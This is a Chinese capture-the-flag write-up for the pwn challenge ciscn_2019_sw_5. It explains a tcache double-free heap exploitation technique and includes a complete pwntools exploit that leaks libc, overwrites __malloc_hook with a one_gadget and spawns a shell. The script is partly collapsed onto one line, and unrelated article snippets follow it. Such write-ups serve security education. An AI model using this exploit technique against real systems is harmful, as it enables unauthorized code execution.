ciscn_2019_sw_5(tcache下delete次数限制时的巧妙利用手法)

2023-11-10 06:48

本文主要是介绍ciscn_2019_sw_5(tcache下delete次数限制时的巧妙利用手法),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

ciscn_2019_sw_5(tcache下delete次数限制时的巧妙利用手法)

首先,检查一下程序的保护机制

然后,我们用IDA分析一下,仅两个功能

其中,delete功能只能用3次,delete功能没有清空指针,存在double free漏洞。

Add功能,size不可控,结尾printf可以输出堆内容。

我们可以利用add结尾的printf输出,main_arean地址,那么,我们需要得到unsorted bin才行。由于delete功能仅有3次机会。Glibc版本为2.23,存在tcache,因此,我们先利用2次,构造一个double free,然后分配到tcache 的表头,篡改对应size的chunk count为-1,同时篡改对应0x80的chunk头chunk指针为伪造的chunk地址,由于不知道堆地址,因此,我们需要爆破半个字节。

首先,申请三个堆

  #0
   add('t1','a')
   #1
   add('t2','b')
   #2前0x18字节将划给后面伪造的0x100的chunk
   fake_chunk = 'c'*0x8 + p64(0) + p64(0x61)
   add('t3',fake_chunk)

由于,我们要在0~2之间伪造一个0x100的chunk,因此,t3的前0x18字节划分给了伪造的chunk,而要想之后成功释放这个伪造的chunk,而不报错,我们还需要把后面剩余的部分修复好,因此,在t3里,我们修复剩余的空间为0x61的chunk。

接下来,double free,然后篡改next指针

   #double free
   delete(0)
   delete(0)
   #攻击tcache bin表头
   add('\x1E\x70','a')

接下来,第一次申请,申请到0原来的位置,我们开始伪造chunk

   #3伪造一个0x100的chunk,同时设置next指针仍然指向heap_base + 0x280,形成循环链表
   add('t1',p64(heap_base + 0x280) + p64(heap_base + 0x268) + p64(0x101) + p64(heap_base + 0x270))

我们伪造的chunk如上图,之所以这么伪造,是因为最后一次delete是要用来得到unsorted bin的,首先,当我们申请到0x280处时,0x100的tcache bin头变更为0x270。此时,我们delete掉0x100的伪造chunk后0x280处保留了main_arena地址。接下来我们申请0x270处,tcache bin头变更为0x268,我们填充数据到0x280,然后,就可以泄露出0x280处的main_arena值。接下来,我们申请到0x268,tcache bin头变更为0x280,然后我们从0x268处开始向后写数据,在0x280处写上malloc_hook的地址。此时,tcache链表的布局变成了

0x280——malloc_hook

因此,我们继续申请,就能申请到malloc_hook处,完成利用,十分巧妙。

   #4修改tcache bin表头,修改0x80的头为heap_base + 0x280
   payload = '\x00'*0x5A + p64(heap_base + 0x280)
   #修改0x100的count为-1
   add('\xFF',payload) #5
   #申请到heap_base + 0x280处即伪造chunk
   add('t1','a') #6
   #得到unsorted bin
   delete(6)
   add('a'*0x8,'a'*0x10)
   sh.recvuntil('a'*0x18)
   main_arena_xx = u64(sh.recv(6).ljust(8,'\x00'))

综上,完整的exp

#coding:utf8
from pwn import *#context.log_level = 'debug'
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
malloc_hook_s = libc.symbols['__malloc_hook']
one_gadget_s = 0x10a38cdef add(title,content):sh.sendlineafter('>>','1')sh.sendafter('title:',title)sh.sendafter('content:',content)def delete(index):sh.sendlineafter('>>','2')sh.sendlineafter('index:',str(index))def exploit():#0add('t1','a')#1add('t2','b')#2前0x18字节将划给后面伪造的0x100的chunkfake_chunk = 'c'*0x8 + p64(0) + p64(0x61)add('t3',fake_chunk)#double freedelete(0)delete(0)#攻击tcache bin表头add('\x1E\x70','a')sh.recvuntil('\n')heap_base = u64(sh.recv(6).ljust(8,'\x00')) & (0xFFFFFFFFFFFFFF00)print 'heap_base=',hex(heap_base)#3伪造一个0x100的chunk,同时设置next指针仍然指向heap_base + 0x280,形成循环链表add('t1',p64(heap_base + 0x280) + p64(heap_base + 0x268) + p64(0x101) + p64(heap_base + 0x270))#4修改tcache bin表头,修改0x80的头为heap_base + 0x280payload = '\x00'*0x5A + p64(heap_base + 0x280)#修改0x100的count为-1add('\xFF',payload) #5#申请到heap_base + 0x280处即伪造chunkadd('t1','a') #6#得到unsorted bindelete(6)add('a'*0x8,'a'*0x10)sh.recvuntil('a'*0x18)main_arena_xx = u64(sh.recv(6).ljust(8,'\x00'))malloc_hook_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)libc_base = malloc_hook_addr - malloc_hook_sif libc_base >> 40 != 0x7F:raise Exception('error leak!')one_gadget_addr = libc_base + one_gadget_sprint 'libc_base=',hex(libc_base)print 'malloc_hook_addr=',hex(malloc_hook_addr)print 'one_gadget_addr=',hex(one_gadget_addr)#申请到heap_base+0x268处,覆盖0x280处的next指针add('a','a'*0x10 + p64(malloc_hook_addr))add('a','a')#改写malloc_hookadd(p64(one_gadget_addr),'\x00')#getshellsh.sendlineafter('>>','1')while True:try:global shsh = process('./ciscn_2019_sw_5')#sh = remote('node3.buuoj.cn',29046)exploit()sh.interactive()except:sh.close()print 'trying...'

这篇关于ciscn_2019_sw_5(tcache下delete次数限制时的巧妙利用手法)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/381024

相关文章

BUUCTF靶场[web][极客大挑战 2019]Http、[HCTF 2018]admin

目录   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 [web][HCTF 2018]admin 考点:弱密码字典爆破 四种方法:   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 访问环境 老规矩,我们先查看源代码

poj 2135 有流量限制的最小费用最大流

题意: 农场里有n块地,其中约翰的家在1号地,二n号地有个很大的仓库。 农场有M条道路(双向),道路i连接着ai号地和bi号地,长度为ci。 约翰希望按照从家里出发,经过若干块地后到达仓库,然后再返回家中的顺序带朋友参观。 如果要求往返不能经过同一条路两次,求参观路线总长度的最小值。 解析: 如果只考虑去或者回的情况,问题只不过是无向图中两点之间的最短路问题。 但是现在要去要回

poj 3422 有流量限制的最小费用流 反用求最大 + 拆点

题意: 给一个n*n(50 * 50) 的数字迷宫,从左上点开始走,走到右下点。 每次只能往右移一格,或者往下移一格。 每个格子,第一次到达时可以获得格子对应的数字作为奖励,再次到达则没有奖励。 问走k次这个迷宫,最大能获得多少奖励。 解析: 拆点,拿样例来说明: 3 2 1 2 3 0 2 1 1 4 2 3*3的数字迷宫,走两次最大能获得多少奖励。 将每个点拆成两个

poj 2195 bfs+有流量限制的最小费用流

题意: 给一张n * m(100 * 100)的图,图中” . " 代表空地, “ M ” 代表人, “ H ” 代表家。 现在,要你安排每个人从他所在的地方移动到家里,每移动一格的消耗是1,求最小的消耗。 人可以移动到家的那一格但是不进去。 解析: 先用bfs搞出每个M与每个H的距离。 然后就是网络流的建图过程了,先抽象出源点s和汇点t。 令源点与每个人相连,容量为1,费用为

poj 3068 有流量限制的最小费用网络流

题意: m条有向边连接了n个仓库,每条边都有一定费用。 将两种危险品从0运到n-1,除了起点和终点外,危险品不能放在一起,也不能走相同的路径。 求最小的费用是多少。 解析: 抽象出一个源点s一个汇点t,源点与0相连,费用为0,容量为2。 汇点与n - 1相连,费用为0,容量为2。 每条边之间也相连,费用为每条边的费用,容量为1。 建图完毕之后,求一条流量为2的最小费用流就行了

hdu 3065 AC自动机 匹配串编号以及出现次数

题意: 仍旧是天朝语题。 Input 第一行,一个整数N(1<=N<=1000),表示病毒特征码的个数。 接下来N行,每行表示一个病毒特征码,特征码字符串长度在1—50之间,并且只包含“英文大写字符”。任意两个病毒特征码,不会完全相同。 在这之后一行,表示“万恶之源”网站源码,源码字符串长度在2000000之内。字符串中字符都是ASCII码可见字符(不包括回车)。

SW - 引入第三方dwg图纸后,修改坐标原点

文章目录 SW - 引入第三方dwg图纸后,修改坐标原点概述笔记设置图纸新原点END SW - 引入第三方dwg图纸后,修改坐标原点 概述 在solidworks中引入第三方的dwg格式图纸后,坐标原点大概率都不合适。 全图自动缩放后,引入的图纸离默认的原点位置差很多。 需要自己重新设置原点位置,才能自动缩放后,在工作区中间显示引入的图纸。 笔记 将dwg图纸拖到SW中

一些数学经验总结——关于将原一元二次函数增加一些限制条件后最优结果的对比(主要针对公平关切相关的建模)

1.没有分段的情况 原函数为一元二次凹函数(开口向下),如下: 因为要使得其存在正解,必须满足,那么。 上述函数的最优结果为:,。 对应的mathematica代码如下: Clear["Global`*"]f0[x_, a_, b_, c_, d_] := (a*x - b)*(d - c*x);(*(b c+a d)/(2 a c)*)Maximize[{f0[x, a, b,

分享MSSQL、MySql、Oracle的大数据批量导入方法及编程手法细节

1:MSSQL SQL语法篇: BULK INSERT      [ database_name . [ schema_name ] . | schema_name . ] [ table_name | view_name ]         FROM 'data_file'        [ WITH       (      [ [ , ] BATCHSIZE = batch_siz

Qt: 详细理解delete与deleteLater (避免访问悬空指针导致程序异常终止)

前言 珍爱生命,远离悬空指针。 正文 delete 立即删除:调用 delete 后,对象会立即被销毁,其内存会立即被释放。调用顺序:对象的析构函数会被立即调用,销毁该对象及其子对象。无事件处理:如果在对象销毁过程中还涉及到信号和槽、事件处理等,直接 delete 可能会导致问题,尤其是在对象正在处理事件时。适用场景:适用于在确定对象已经不再被使用的情况下,并且不涉及异步处理或事件循环中的